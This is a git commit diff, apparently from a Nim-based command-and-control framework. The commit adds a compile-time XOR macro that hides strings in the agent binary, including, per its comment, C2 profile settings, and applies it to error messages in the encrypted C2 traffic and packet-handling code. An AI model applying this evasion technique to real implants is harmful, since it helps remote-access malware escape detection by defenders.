Implemented compile-time string obfuscation via XOR for the agent.
This commit is contained in:
@@ -1,7 +1,7 @@
|
||||
import macros, system
|
||||
import macros, system, hashes
|
||||
import nimcrypto
|
||||
|
||||
import ./[utils, types]
|
||||
import ./[types, utils]
|
||||
|
||||
#[
|
||||
Symmetric AES256 GCM encryption for secure C2 traffic
|
||||
@@ -10,7 +10,7 @@ import ./[utils, types]
|
||||
proc generateBytes*(T: typedesc[Key | Iv]): array =
|
||||
var bytes: T
|
||||
if randomBytes(bytes) != sizeof(T):
|
||||
raise newException(CatchableError, "Failed to generate byte array.")
|
||||
raise newException(CatchableError, protect("Failed to generate byte array."))
|
||||
return bytes
|
||||
|
||||
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32 = 0): (seq[byte], AuthenticationTag) =
|
||||
@@ -48,7 +48,7 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
|
||||
let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber)
|
||||
|
||||
if gmac != header.gmac:
|
||||
raise newException(CatchableError, "Invalid authentication tag.")
|
||||
raise newException(CatchableError, protect("Invalid authentication tag."))
|
||||
|
||||
return decData
|
||||
|
||||
@@ -110,7 +110,7 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
|
||||
|
||||
# Add combined public keys to hash
|
||||
let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey)
|
||||
let hashMessage: seq[byte] = string.toBytes("CONQUEST") & @combinedKeys
|
||||
let hashMessage: seq[byte] = string.toBytes(protect("CONQUEST")) & @combinedKeys
|
||||
|
||||
# Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
|
||||
let hash = blake2b(hashMessage, sharedSecret)
|
||||
@@ -129,7 +129,7 @@ proc writeKeyToDisk*(keyFile: string, key: Key) =
|
||||
let bytesWritten = file.writeBytes(key, 0, sizeof(Key))
|
||||
|
||||
if bytesWritten != sizeof(Key):
|
||||
raise newException(ValueError, "Invalid key length.")
|
||||
raise newException(ValueError, protect("Invalid key length."))
|
||||
|
||||
proc loadKeyPair*(keyFile: string): KeyPair =
|
||||
try:
|
||||
@@ -140,7 +140,7 @@ proc loadKeyPair*(keyFile: string): KeyPair =
|
||||
let bytesRead = file.readBytes(privateKey, 0, sizeof(Key))
|
||||
|
||||
if bytesRead != sizeof(Key):
|
||||
raise newException(ValueError, "Invalid key length.")
|
||||
raise newException(ValueError, protect("Invalid key length."))
|
||||
|
||||
return KeyPair(
|
||||
privateKey: privateKey,
|
||||
@@ -151,4 +151,4 @@ proc loadKeyPair*(keyFile: string): KeyPair =
|
||||
except IOError:
|
||||
let keyPair = generateKeyPair()
|
||||
writeKeyToDisk(keyFile, keyPair.privateKey)
|
||||
return keyPair
|
||||
return keyPair
|
||||
@@ -1,5 +1,5 @@
|
||||
import tables
|
||||
import ./types
|
||||
import ./[types, utils]
|
||||
|
||||
var sequenceTable {.global.}: Table[uint32, uint32]
|
||||
|
||||
@@ -31,12 +31,12 @@ proc validatePacket*(header: Header, expectedType: uint8) =
|
||||
|
||||
# Validate magic number
|
||||
if header.magic != MAGIC:
|
||||
raise newException(CatchableError, "Invalid magic bytes.")
|
||||
raise newException(CatchableError, protect("Invalid magic bytes."))
|
||||
|
||||
# Validate packet type
|
||||
if header.packetType != expectedType:
|
||||
raise newException(CatchableError, "Invalid packet type.")
|
||||
raise newException(CatchableError, protect("Invalid packet type."))
|
||||
|
||||
# Validate sequence number
|
||||
if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
||||
raise newException(CatchableError, "Invalid sequence number.")
|
||||
raise newException(CatchableError, protect("Invalid sequence number."))
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import streams, tables
|
||||
import ./[types, utils, crypto]
|
||||
import ./[types, utils]
|
||||
|
||||
#[
|
||||
Packer
|
||||
@@ -102,7 +102,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
|
||||
unpacker.position += bytesRead
|
||||
|
||||
if bytesRead != length:
|
||||
raise newException(IOError, "Not enough data to read")
|
||||
raise newException(IOError, protect("Not enough data to read"))
|
||||
|
||||
proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]): array =
|
||||
var bytes: array[sizeof(T), byte]
|
||||
@@ -111,7 +111,7 @@ proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]
|
||||
unpacker.position += bytesRead
|
||||
|
||||
if bytesRead != sizeof(T):
|
||||
raise newException(IOError, "Not enough data to read structure.")
|
||||
raise newException(IOError, protect("Not enough data to read structure."))
|
||||
|
||||
return bytes
|
||||
|
||||
|
||||
@@ -1,20 +1,8 @@
|
||||
import macros, hashes
|
||||
import strutils, nimcrypto
|
||||
|
||||
import ./types
|
||||
|
||||
proc generateUUID*(): string =
|
||||
# Create a 4-byte HEX UUID string (8 characters)
|
||||
var uuid: array[4, byte]
|
||||
if randomBytes(uuid) != 4:
|
||||
raise newException(CatchableError, "Failed to generate UUID.")
|
||||
return uuid.toHex().toUpperAscii()
|
||||
|
||||
proc toUuid*(T: type string, uuid: string): Uuid =
|
||||
return fromHex[uint32](uuid)
|
||||
|
||||
proc toString*(T: type Uuid, uuid: Uuid): string =
|
||||
return uuid.toHex(8)
|
||||
|
||||
proc toString*(T: type Bytes, data: seq[byte]): string =
|
||||
result = newString(data.len)
|
||||
for i, b in data:
|
||||
@@ -25,9 +13,49 @@ proc toBytes*(T: type string, data: string): seq[byte] =
|
||||
for i, c in data:
|
||||
result[i] = byte(c.ord)
|
||||
|
||||
#[
|
||||
Compile-time string encryption using simple XOR
|
||||
This is done to hide sensitive strings, such as C2 profile settings in the binary
|
||||
]#
|
||||
proc calculate(str: string, key: int): string {.noinline.} =
|
||||
var k = key
|
||||
var bytes = string.toBytes(str)
|
||||
for i in 0 ..< bytes.len:
|
||||
for f in [0, 8, 16, 24]:
|
||||
bytes[i] = bytes[i] xor uint8((k shr f) and 0xFF)
|
||||
k = k +% 1
|
||||
return Bytes.toString(bytes)
|
||||
|
||||
# Generate a XOR key at compile-time. The `and` operation ensures that a positive integer is the result
|
||||
var key {.compileTime.}: int = hash(CompileTime & CompileDate) and 0x7FFFFFFF
|
||||
|
||||
macro protect*(str: untyped): untyped =
|
||||
var encStr = calculate($str, key)
|
||||
result = quote do:
|
||||
calculate(`encStr`, `key`)
|
||||
|
||||
# Alternate the XOR key using the FNV prime (1677619)
|
||||
key = (key *% 1677619) and 0x7FFFFFFF
|
||||
|
||||
#[
|
||||
Utility functions
|
||||
]#
|
||||
proc toUuid*(T: type string, uuid: string): Uuid =
|
||||
return fromHex[uint32](uuid)
|
||||
|
||||
proc toString*(T: type Uuid, uuid: Uuid): string =
|
||||
return uuid.toHex(8)
|
||||
|
||||
proc generateUUID*(): string =
|
||||
# Create a 4-byte HEX UUID string (8 characters)
|
||||
var uuid: array[4, byte]
|
||||
if randomBytes(uuid) != 4:
|
||||
raise newException(CatchableError, protect("Failed to generate UUID."))
|
||||
return uuid.toHex().toUpperAscii()
|
||||
|
||||
proc toUint32*(T: type Bytes, data: seq[byte]): uint32 =
|
||||
if data.len != 4:
|
||||
raise newException(ValueError, "Expected 4 bytes for uint32")
|
||||
raise newException(ValueError, protect("Expected 4 bytes for uint32"))
|
||||
|
||||
return uint32(data[0]) or
|
||||
(uint32(data[1]) shl 8) or
|
||||
@@ -71,6 +99,6 @@ proc toBytes*(T: type uint64, value: uint64): seq[byte] =
|
||||
|
||||
proc toKey*(value: string): Key =
|
||||
if value.len != 32:
|
||||
raise newException(ValueError, "Invalid key length.")
|
||||
raise newException(ValueError, protect("Invalid key length."))
|
||||
|
||||
copyMem(result[0].addr, value[0].unsafeAddr, 32)
|
||||
Reference in New Issue
Block a user